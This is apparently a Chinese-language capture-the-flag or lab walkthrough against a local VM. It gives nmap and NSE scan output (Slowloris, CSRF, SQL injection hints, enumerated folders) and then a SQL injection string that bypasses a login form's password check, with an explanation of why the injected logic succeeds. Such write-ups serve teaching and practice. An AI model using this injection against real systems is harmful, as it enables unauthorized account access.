Nmap scan report for 192.168.59.151 (192.168.59.151) Host is up (0.0025s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http MAC Address: 00:0C:29:BC:05:DE (VMware)
只有一个80端口,无需考虑优先级。
tcp详细扫:
1 2 3 4 5 6 7 8 9 10 11 12
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch MAC Address: 00:0C:29:BC:05:DE (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized|WAP|router|phone|switch Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (91%), Suga embedded (91%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%) OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3 Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linux 2.6.22 (embedded, ARM) (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop
PORT STATE SERVICE 80/tcp open http |_http-trace: TRACE is enabled | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.59.151 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.59.151:80/?page=login.php | Form id: | Form action: /index.php?page=login.php | | Path: http://192.168.59.151:80/index.php?page=login.php | Form id: |_ Form action: /index.php?page=login.php | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ | http-sql-injection: | Possible sqli for queries: | http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider | http://192.168.59.151:80/index.php?page=login.php%27%20OR%20sqlspider | http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider | http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider | http://192.168.59.151:80/index.php?page=login.php%27%20OR%20sqlspider |_ http://192.168.59.151:80/?page=login.php%27%20OR%20sqlspider |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /login/: Login page S | /home/: Potentially interesting folder | /icons/: Potentially interesting folder w/ directory listing | /img/: Potentially interesting folder | /index/: Potentially interesting folder | /misc/: Potentially interesting folder | /transfer/: Potentially interesting folder |_ /upload/: Potentially interesting folder
SELECT * FROM accounts WHERE username='cvestonesec' AND password='' or username='etenenbaum'-- '
仔细观察拼接后的sql语句会发现原来的逻辑都相当于无效了,即0 AND 0 or 我们控制的真逻辑部分,整体的结果就为1,所以直接绕过了,此时如果数据库中存在该用户名,不需要输入正确密码就可以实现登录,该新用户依然无权限访问:
尝试后,所有用户都无法访问到(包括admin和administrator)